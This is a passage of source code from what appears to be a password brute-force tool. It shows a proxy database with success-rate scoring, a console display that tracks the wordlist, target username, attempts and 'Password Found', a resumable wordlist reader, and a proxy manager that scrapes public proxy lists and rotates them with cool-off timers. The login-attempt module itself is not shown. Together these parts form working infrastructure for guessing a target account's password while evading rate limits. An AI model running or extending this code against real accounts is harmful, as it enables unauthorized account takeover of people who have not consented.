177 | "SELECT COUNT(*) FROM Proxy WHERE proxy_id=?;",
178 | [proxy_id],
179 | )
180 | != 0
181 | )
182 |
183 | def add_proxy(
184 | self, *, ip: str, port: int, proxy_type: str = "http"
185 | ) -> typing.Optional[str]:
186 | """Add a proxy into the database.
187 |
188 | Returns: proxy_id when successful
189 | """
190 |
191 | # preprocess
192 | ip = ip.strip()
193 | proxy_type = proxy_type.strip().lower()
194 | proxy_id = self.__get_signature(ip=ip, port=port)
195 |
196 | if proxy_type not in ["http", "https", "socks4", "socks5"]:
197 | return None
198 |
199 | # check for existance
200 | if self.__exists(proxy_id):
201 | return None
202 |
203 | # add to database
204 | self.db_execute(
205 | """
206 | INSERT INTO Proxy(proxy_id, ip, port, proxy_type)
207 | VALUES(?, ?, ?, ?);
208 | """,
209 | args=[proxy_id, ip, port, proxy_type],
210 | )
211 |
212 | self.db_execute(
213 | """
214 | INSERT INTO ProxyStatus(
215 | time_added,
216 | proxy_id
217 | )
218 | VALUES(?, ?);
219 | """,
220 | args=[time.time(), proxy_id],
221 | )
222 |
223 | return proxy_id
224 |
225 | def delete_proxy(self, proxy_id: str) -> bool:
226 | """Delete a proxy from the database
227 |
228 | Returns:
229 | True: if proxy has been deleted
230 | """
231 |
232 | if not self.__exists(proxy_id):
233 | return False
234 |
235 | self.db_execute(
236 | """
237 | DELETE FROM Proxy
238 | WHERE proxy_id=?;
239 | """,
240 | args=[proxy_id],
241 | )
242 |
243 | def __parse_proxy(self, proxy_data: tuple) -> dict:
244 | """Get a tuple of proxy and turns it into a dict."""
245 |
246 | ip, port, proxy_type = proxy_data[1], proxy_data[2], proxy_data[3]
247 |
248 | if proxy_type == "http" or proxy_type == "https":
249 | proxy_addr = f"http://{ip}:{port}"
250 | elif proxy_type == "socks4":
251 | proxy_addr = f"socks4://{ip}:{port}"
252 | elif proxy_type == "socks5":
253 | proxy_addr = f"socks5://{ip}:{port}"
254 |
255 | addr = {
256 | "http": proxy_addr,
257 | "https": proxy_addr,
258 | }
259 |
260 | return {
261 | "ip": proxy_data[1],
262 | "port": proxy_data[2],
263 | "proxy_type": proxy_data[3],
264 | "time_added": proxy_data[4],
265 | "last_used": proxy_data[5],
266 | "last_updated": proxy_data[6],
267 | "total_used": proxy_data[7],
268 | "total_passed": proxy_data[8],
269 | "score": proxy_data[10],
270 | "addr": addr,
271 | }
272 |
273 | def get_proxy(self, proxy_id: str) -> dict:
274 | """Get details of a proxy with the given proxy id"""
275 |
276 | if not self.__exists(proxy_id):
277 | return {}
278 |
279 | proxy_data = self.db_query(
280 | """
281 | SELECT *,
282 | (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) AS score
283 | FROM Proxy
284 | INNER JOIN ProxyStatus on ProxyStatus.proxy_id = Proxy.proxy_id
285 | WHERE Proxy.proxy_id=?;
286 | """,
287 | args=[proxy_id],
288 | fetchone=False,
289 | )[0]
290 |
291 | return self.__parse_proxy(proxy_data)
292 |
293 | def get_proxies(
294 | self, offset: int = 0, limit: int = 256, min_score: float = 0.0
295 | ) -> typing.List[dict]:
296 | rows = self.db_query(
297 | """
298 | SELECT *,
299 | (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) AS score
300 |
301 | FROM Proxy
302 | INNER JOIN ProxyStatus on ProxyStatus.proxy_id = Proxy.proxy_id
303 | WHERE (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) >= ?
304 | ORDER BY
305 | score DESC,
306 | time_added DESC
307 | LIMIT ?, ?;
308 | """,
309 | fetchone=False,
310 | args=[min_score, offset, limit],
311 | )
312 |
313 | return [self.__parse_proxy(row) for row in rows]
314 |
315 | def update_status(
316 | self,
317 | ip: str,
318 | port: int,
319 | last_used: float,
320 | total_used: int,
321 | total_passed: int,
322 | ) -> bool:
323 | proxy_id = self.__get_signature(ip=ip, port=port)
324 |
325 | if not self.__exists(proxy_id):
326 | return False
327 |
328 | self.db_execute(
329 | """
330 | UPDATE ProxyStatus
331 | SET
332 | last_used = ?,
333 | last_updated = ?,
334 | total_used = total_used + ?,
335 | total_passed = total_passed + ?
336 | WHERE proxy_id=?;
337 | """,
338 | args=[last_used, time.time(), total_used, total_passed, proxy_id],
339 | )
340 |
341 | return True
342 |
343 | def prune(self, threshold: float) -> int:
344 | before_rows = self.db_query(
345 | """
346 | SELECT COUNT(*)
347 | FROM Proxy;
348 | """
349 | )
350 |
351 | self.db_execute(
352 | """
353 | DELETE
354 | FROM Proxy
355 |
356 | WHERE proxy_id IN (
357 | SELECT Proxy.proxy_id
358 | FROM Proxy
359 | INNER JOIN ProxyStatus on ProxyStatus.proxy_id = Proxy.proxy_id
360 | WHERE (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) < ?
361 | );
362 | """,
363 | args=[threshold],
364 | )
365 |
366 | after_rows = self.db_query(
367 | """
368 | SELECT COUNT(*)
369 | FROM Proxy;
370 | """
371 | )
372 |
373 | return before_rows - after_rows
374 |
375 | def calc_q1(self) -> float:
376 | """Calculate the first quartile of the scores."""
377 |
378 | scores = self.db_query(
379 | """
380 | SELECT score
381 | FROM
382 | (
383 | SELECT
384 | (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) AS score
385 | FROM Proxy
386 | INNER JOIN ProxyStatus on ProxyStatus.proxy_id = Proxy.proxy_id
387 | )
388 | ORDER BY
389 | score ASC;
390 | """,
391 | fetchone=False,
392 | )
393 |
394 | q1 = 0.0
395 |
396 | if scores[0][0]:
397 | scores = [score[0] for score in scores]
398 | mid = len(scores) / 2
399 |
400 | if isinstance(mid, float):
401 | mid = int(mid)
402 | q1 = (scores[mid] + scores[mid + 1]) / 2
403 | else:
404 | q1 = (sum(scores[:mid]) / mid) if mid else q1
405 |
406 | return q1
407 |
408 | def stats(self) -> dict:
409 | data = {"total": 0, "q1": 0.0, "avg": 0.0, "min": 0, "max": 0}
410 |
411 | rows = self.db_query(
412 | """
413 | SELECT
414 | COUNT(score) AS total_proxies,
415 | AVG(score) AS avg_score,
416 | MIN(score) AS min_score,
417 | MAX(score) AS max_score
418 | FROM
419 | (
420 | SELECT
421 | (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) AS score
422 | FROM Proxy
423 | INNER JOIN ProxyStatus on ProxyStatus.proxy_id = Proxy.proxy_id
424 | );
425 | """,
426 | fetchone=False,
427 | )
428 |
429 | if rows[0][0]:
430 | row = rows[0]
431 | data["total"] = row[0]
432 | data["avg"] = row[1]
433 | data["min"] = row[2]
434 | data["max"] = row[3]
435 | data["q1"] = self.calc_q1()
436 |
437 | return data
438 |
--------------------------------------------------------------------------------
/lib/display.py:
--------------------------------------------------------------------------------
1 | # 12/29/2018
2 | # Author: Mohamed
3 | # Description: Display
4 |
5 | from os import system
6 | from time import sleep
7 | from .const import debug
8 | from colorama import Fore
9 | from builtins import input
10 | from platform import system as platform
11 |
12 |
13 | class Display(object):
14 |
15 | __is_color = None
16 | total_lines = None
17 | account_exists = None
18 |
19 | def __init__(self, username=None, passlist=None, is_color=None):
20 | self.delay = 1.3
21 | self.username = username
22 | self.passlist = passlist
23 | self.colors_disabled = True
24 | self.cls = "cls" if platform() == "Windows" else "clear"
25 |
26 | if Display.__is_color == None:
27 | Display.__is_color = is_color
28 |
29 | def clear(self):
30 | if not debug or self.colors_disabled:
31 | system(self.cls)
32 |
33 | if self.colors_disabled and self.__is_color:
34 | self.colors_disabled = False
35 | else:
36 | print("\n\n")
37 |
38 | def stats(self, password, attempts, browsers, load=True):
39 | self.clear()
40 | complete = round((attempts / Display.total_lines) * 100, 2)
41 | account_exists = (
42 | self.account_exists if self.account_exists != None else ""
43 | )
44 |
45 | if self.__is_color:
46 | print(
47 | "{0}[{1}-{0}] {1}Wordlist: {2}{3}{4}".format(
48 | Fore.YELLOW,
49 | Fore.WHITE,
50 | Fore.CYAN,
51 | self.passlist,
52 | Fore.RESET,
53 | )
54 | )
55 |
56 | print(
57 | "{0}[{1}-{0}] {1}Username: {2}{3}{4}".format(
58 | Fore.YELLOW,
59 | Fore.WHITE,
60 | Fore.CYAN,
61 | self.username.title(),
62 | Fore.RESET,
63 | )
64 | )
65 |
66 | print(
67 | "{0}[{1}-{0}] {1}Password: {2}{3}{4}".format(
68 | Fore.YELLOW, Fore.WHITE, Fore.CYAN, password, Fore.RESET
69 | )
70 | )
71 |
72 | print(
73 | "{0}[{1}-{0}] {1}Complete: {2}{3}%{4}".format(
74 | Fore.YELLOW, Fore.WHITE, Fore.CYAN, complete, Fore.RESET
75 | )
76 | )
77 |
78 | print(
79 | "{0}[{1}-{0}] {1}Attempts: {2}{3}{4}".format(
80 | Fore.YELLOW, Fore.WHITE, Fore.CYAN, attempts, Fore.RESET
81 | )
82 | )
83 |
84 | print(
85 | "{0}[{1}-{0}] {1}Browsers: {2}{3}{4}".format(
86 | Fore.YELLOW, Fore.WHITE, Fore.CYAN, browsers, Fore.RESET
87 | )
88 | )
89 |
90 | print(
91 | "{0}[{1}-{0}] {1}Exists: {2}{3}{4}".format(
92 | Fore.YELLOW,
93 | Fore.WHITE,
94 | Fore.CYAN,
95 | account_exists,
96 | Fore.RESET,
97 | )
98 | )
99 |
100 | else:
101 | print(
102 | f"[-] Wordlist: {self.passlist}\n[-] Username: {self.username}\n[-] Password: {password}"
103 | )
104 |
105 | print(
106 | f"Complete: {complete}\n[-] Attempts: {attempts}\n[-] Browsers: {browsers}\n[-] Exists: {account_exists}"
107 | )
108 |
109 | if load:
110 | sleep(self.delay)
111 |
112 | def stats_found(self, password, attempts, browsers):
113 | self.stats(password, attempts, browsers, load=False)
114 |
115 | if self.__is_color:
116 | print(
117 | "\n{0}[{1}!{0}] {2}Password Found{3}".format(
118 | Fore.YELLOW, Fore.RED, Fore.WHITE, Fore.RESET
119 | )
120 | )
121 |
122 | print(
123 | "{0}[{1}+{0}] {2}Username: {1}{3}{4}".format(
124 | Fore.YELLOW,
125 | Fore.GREEN,
126 | Fore.WHITE,
127 | self.username.title(),
128 | Fore.RESET,
129 | )
130 | )
131 |
132 | print(
133 | "{0}[{1}+{0}] {2}Password: {1}{3}{4}".format(
134 | Fore.YELLOW, Fore.GREEN, Fore.WHITE, password, Fore.RESET
135 | )
136 | )
137 | else:
138 | print(
139 | "\n[!] Password Found\n[+] Username: {}\n[+] Password: {}".format(
140 | self.username.title(), password
141 | )
142 | )
143 |
144 | sleep(self.delay)
145 |
146 | def stats_not_found(self, password, attempts, browsers):
147 | self.stats(password, attempts, browsers, load=False)
148 |
149 | if self.__is_color:
150 | print(
151 | "\n{0}[{1}!{0}] {2}Password Not Found{3}".format(
152 | Fore.YELLOW, Fore.RED, Fore.WHITE, Fore.RESET
153 | )
154 | )
155 | else:
156 | print("\n[!] Password Not Found")
157 |
158 | sleep(self.delay)
159 |
160 | def shutdown(self, password, attempts, browsers):
161 | self.stats(password, attempts, browsers, load=False)
162 |
163 | if self.__is_color:
164 | print(
165 | "\n{0}[{1}!{0}] {2}Shutting Down ...{3}".format(
166 | Fore.YELLOW, Fore.RED, Fore.WHITE, Fore.RESET
167 | )
168 | )
169 | else:
170 | print("\n[!] Shutting Down ...")
171 |
172 | sleep(self.delay)
173 |
174 | def info(self, msg):
175 | self.clear()
176 |
177 | if self.__is_color:
178 | print(
179 | "{0}[{1}i{0}] {2}{3}{4}".format(
180 | Fore.YELLOW, Fore.CYAN, Fore.WHITE, msg, Fore.RESET
181 | )
182 | )
183 | else:
184 | print("[i] {}".format(msg))
185 |
186 | sleep(2.5)
187 |
188 | def warning(self, msg):
189 | self.clear()
190 |
191 | if self.__is_color:
192 | print(
193 | "{0}[{1}!{0}] {1}{2}{3}".format(
194 | Fore.YELLOW, Fore.RED, msg, Fore.RESET
195 | )
196 | )
197 | else:
198 | print("[!] {}".format(msg))
199 |
200 | sleep(self.delay)
201 |
202 | def prompt(self, data):
203 | self.clear()
204 |
205 | if self.__is_color:
206 | return input(
207 | "{0}[{1}?{0}] {2}{3}{4}".format(
208 | Fore.YELLOW, Fore.CYAN, Fore.WHITE, data, Fore.RESET
209 | )
210 | )
211 | else:
212 | return input("[?] {}".format(data))
213 |
--------------------------------------------------------------------------------
/lib/password_manager.py:
--------------------------------------------------------------------------------
1 | # Date: 12/28/2018
2 | # Author: Mohamed
3 | # Description: Password manager
4 |
5 | from time import sleep
6 | from hashlib import sha256
7 | from sys import version_info
8 | from lib.display import Display
9 | from lib.database import Session
10 | import io
11 |
12 |
13 | class PasswordManager(object):
14 | def __init__(self, username, passlist_path, max_passwords, display):
15 | self.passlist = []
16 | self.session = None
17 | self.resume = False
18 | self.is_alive = True
19 | self.is_read = False
20 | self.display = display
21 | self.fingerprint = None
22 | self.username = username
23 | self.passwords_removed = 0
24 | self.passlist_path = passlist_path
25 | self.max_passwords = max_passwords
26 | Display.total_lines = self.count_lines()
27 |
28 | @property
29 | def list_size(self):
30 | return len(self.passlist)
31 |
32 | def list_add(self, password):
33 | if not password in self.passlist:
34 | self.passlist.append(password)
35 |
36 | def list_remove(self, password):
37 | if password in self.passlist:
38 | self.attempts += 1
39 | self.passlist.pop(self.passlist.index(password))
40 | self.session.write(self.attempts, self.passlist)
41 |
42 | def count_lines(self):
43 | lines = 0
44 |
45 | fingerprint = (
46 | sha256(self.username.lower().strip().encode()).hexdigest().encode()
47 | )
48 |
49 | self.display.info("Reading wordlist ...")
50 |
51 | with io.open(self.passlist_path, mode="rb") as f:
52 |
53 | for data in f:
54 | lines += 1
55 | chunk = sha256(data).hexdigest().encode()
56 | fingerprint = sha256(fingerprint + chunk).hexdigest().encode()
57 |
58 | self.fingerprint = fingerprint
59 | self.session = Session(self.fingerprint)
60 |
61 | return lines
62 |
63 | def read(self):
64 | attempts = 0
65 | with io.open(
66 | self.passlist_path, mode="rt", encoding="utf-8"
67 | ) as passlist:
68 |
69 | for password in passlist:
70 | if not self.is_alive:
71 | break
72 |
73 | if self.resume:
74 | self.attempts, self.passlist = self.session.read()
75 |
76 | if attempts < (self.attempts + self.list_size):
77 | attempts += 1
78 | continue
79 | else:
80 | self.resume = False
81 |
82 | password = (
83 | password.replace("\n", "")
84 | .replace("\r", "")
85 | .replace("\t", "")
86 | )
87 |
88 | if self.list_size < self.max_passwords:
89 | self.list_add(password)
90 | else:
91 | while (
92 | self.list_size >= self.max_passwords and self.is_alive
93 | ):
94 | sleep(0.5)
95 |
96 | if self.is_alive:
97 | self.list_add(password)
98 | self.session.write(self.attempts, self.passlist)
99 |
100 | if self.is_alive:
101 | self.is_read = True
102 |
103 | @property
104 | def attempts(self):
105 | return self.passwords_removed
106 |
107 | @attempts.setter
108 | def attempts(self, n):
109 | self.passwords_removed = n
110 |
111 | def start(self):
112 | self.read()
113 |
114 | def stop(self):
115 | self.is_alive = False
116 |
--------------------------------------------------------------------------------
/lib/proxy.py:
--------------------------------------------------------------------------------
1 | # Date: 12/28/2018
2 | # Author: Mohamed
3 | # Description: Proxy
4 |
5 | import time
6 | import typing
7 |
8 |
9 | class Proxy(object):
10 | def __init__(self, ip: str, port: int, addr: typing.Dict) -> None:
11 | self.__ip = ip
12 | self.__port = port
13 | self.__total_used = 0
14 | self.__total_passed = 0
15 | self.__last_used = None
16 | self.__addr = addr
17 |
18 | @property
19 | def addr(self) -> dict:
20 | self.__total_used += 1
21 | self.__last_used = time.time()
22 | return self.__addr
23 |
24 | def incr_success(self) -> None:
25 | """Incremented when proxy works"""
26 | self.__total_passed += 1
27 |
28 | def decr_usage(self) -> None:
29 | """Takes away usage data for this session"""
30 | self.__total_used = 0
31 | self.__total_passed = 0
32 |
33 | def info(self) -> dict:
34 | return {
35 | "ip": self.__ip,
36 | "port": self.__port,
37 | "last_used": self.__last_used,
38 | "total_used": self.__total_used,
39 | "total_passed": self.__total_passed,
40 | }
41 |
--------------------------------------------------------------------------------
/lib/proxy_manager.py:
--------------------------------------------------------------------------------
1 | # Date: 12/28/2018
2 | # Author: Mohamed
3 | # Description: Proxy manager
4 |
5 | import io
6 | from time import sleep
7 | from queue import Queue
8 |
9 | from lib import database
10 | from lib import proxy
11 |
12 | import typing
13 | import threading
14 | import time
15 |
16 | from requests_html import HTMLSession
17 |
18 |
19 | class ProxyFinder:
20 | """Search online for publicly available proxies"""
21 |
22 | __fetch_interval_sec = 30 * 60 # 30 minutes
23 | __history_limit: int = 1024
24 | __http_proxies_url: str = "https://www.sslproxies.org/"
25 | __socks5_proxies_url: str = (
26 | "https://hidemy.name/en/proxy-list/?type=5#list"
27 | )
28 |
29 | def __init__(self):
30 | self.__history: typing.List[
31 | typing.Dict
32 | ] = [] # holds 1024 proxies at most
33 | self.proxies: typing.List[typing.Dict] = []
34 | self.last_updated: float = None
35 |
36 | def __add_proxy(self, proxy: typing.Dict) -> None:
37 | if proxy not in self.__history:
38 | self.__history.append(proxy)
39 | self.proxies.append(proxy)
40 |
41 | if len(self.__history) > self.__history_limit:
42 | self.__history.pop(0)
43 |
44 | def __get_socks_proxies(self) -> None:
45 | with HTMLSession() as session:
46 | r = session.get(self.__socks5_proxies_url)
47 | tr = r.html.find("table", first=True).find("tr")
48 |
49 | for row in tr[1:]:
50 | td = row.find("td")
51 |
52 | self.__add_proxy(
53 | {
54 | "ip": td[0].text,
55 | "port": td[1].text,
56 | "proxy_type": "socks5",
57 | }
58 | )
59 |
60 | def __http_proxies(self) -> None:
61 | """Get proxies from http://www.sslproxies.org/"""
62 |
63 | with HTMLSession() as session:
64 | r = session.get(self.__http_proxies_url)
65 | table = r.html.find(".table", first=True)
66 | tr = table.find("tr")
67 | for row in tr[1:]:
68 | td = row.find("td")
69 |
70 | proxy = {
71 | "ip": td[0].text,
72 | "port": td[1].text,
73 | "proxy_type": "http",
74 | }
75 |
76 | self.__add_proxy(proxy)
77 |
78 | def get_proxies(self) -> typing.List[typing.Optional[typing.Dict]]:
79 | """Get public proxies"""
80 |
81 | if self.last_updated is None:
82 | self.last_updated = time.time()
83 | else:
84 | if time.time() - self.last_updated < self.__fetch_interval_sec:
85 | return []
86 |
87 | # http proxies
88 | try:
89 | self.__http_proxies()
90 | except Exception as e:
91 | pass
92 |
93 | # socks5 proxies
94 | try:
95 | pass
96 | # self.__get_socks_proxies()
97 | except Exception as e:
98 | raise e
99 | pass
100 |
101 | self.last_updated = time.time()
102 |
103 | proxies = []
104 | size = len(self.proxies)
105 |
106 | for i in range(size):
107 | if i % 2:
108 | proxies.append(self.proxies.pop(0))
109 | else:
110 | proxies.append(self.proxies.pop())
111 |
112 | return proxies
113 |
114 |
115 | class ProxyManager(object):
116 | __limit = 256
117 | __cooloff_period_seconds = 60
118 |
119 | def __init__(self):
120 | self.proxies = Queue()
121 | self.db_proxy = database.Proxy()
122 | self.proxy_finder = ProxyFinder()
123 | self.active_proxies: typing.List[dict] = []
124 |
125 | self.lock_active_proxies = threading.RLock()
126 |
127 | self.__offset: int = 0
128 | self.__limit: int = 256
129 | self.__min_score: float = 0.0
130 |
131 | def write2db(self, proxylist_path: str) -> int:
132 | """Read proxies from the file and write it into the database.
133 |
134 | File must contain ip:port format.
135 | Returns: Number of rows written into the database.
136 | """
137 |
138 | total_written = 0
139 | with io.open(proxylist_path, mode="rt", encoding="utf-8") as f:
140 | proxy = database.Proxy()
141 |
142 | for line in f:
143 | ip, port = line.split(":")
144 |
145 | ip = ip.strip()
146 | port = port.split()[0].strip()
147 |
148 | if proxy.add_proxy(ip=ip, port=port):
149 | total_written += 1
150 | return total_written
151 |
152 | def dispose(self, proxy: proxy.Proxy) -> None:
153 | """Dispose of a proxy.
154 |
155 | A proxy will be updated after usage session.
156 | """
157 |
158 | info = proxy.info()
159 | basic_info = {"ip": info.get("ip"), "port": info.get("port")}
160 |
161 | if info.get("total_used"):
162 |
163 | self.db_proxy.update_status(
164 | info.get("ip"),
165 | info.get("port"),
166 | info.get("last_used"),
167 | info.get("total_used") or 0,
168 | info.get("total_passed") or 0,
169 | )
170 |
171 | with self.lock_active_proxies:
172 | if basic_info in self.active_proxies:
173 | self.active_proxies.remove(basic_info)
174 |
175 | def add_public_proxies(self) -> None:
176 | """Add public proxies to the database"""
177 |
178 | for proxy in self.proxy_finder.get_proxies():
179 | self.db_proxy.add_proxy(
180 | ip=proxy.get("ip"),
181 | port=proxy.get("port"),
182 | proxy_type=proxy.get("proxy_type"),
183 | )
184 |
185 | def pop_list(self) -> None:
186 | """Populates queue using database"""
187 |
188 | self.add_public_proxies()
189 |
190 | proxies = self.db_proxy.get_proxies(
191 | self.__offset, self.__limit, min_score=self.__min_score
192 | )
193 |
194 | for proxy in proxies:
195 | basic_info = {
196 | "ip": proxy.get("ip"),
197 | "port": proxy.get("port"),
198 | }
199 |
200 | with self.lock_active_proxies:
201 | if basic_info in self.active_proxies:
202 | continue
203 |
204 | last_used = proxy.get("last_used")
205 |
206 | if last_used:
207 | if time.time() - last_used <= self.__cooloff_period_seconds:
208 | continue
209 |
210 | self.proxies.put(proxy)
211 |
212 | with self.lock_active_proxies:
213 | self.active_proxies.append(basic_info)
214 |
215 | if proxies:
216 | self.__offset += self.__limit
217 | else:
218 | self.__offset = 0
219 | self.__min_score = self.db_proxy.calc_q1()
220 |
221 | def get_proxy(self) -> typing.Union[proxy.Proxy, None]:
222 | if not self.proxies.qsize():
223 | self.pop_list()
224 |
225 | if self.proxies.qsize():
226 | p = self.proxies.get()
227 | return proxy.Proxy(p.get("ip"), p.get("port"), p.get("addr"))
228 |
--------------------------------------------------------------------------------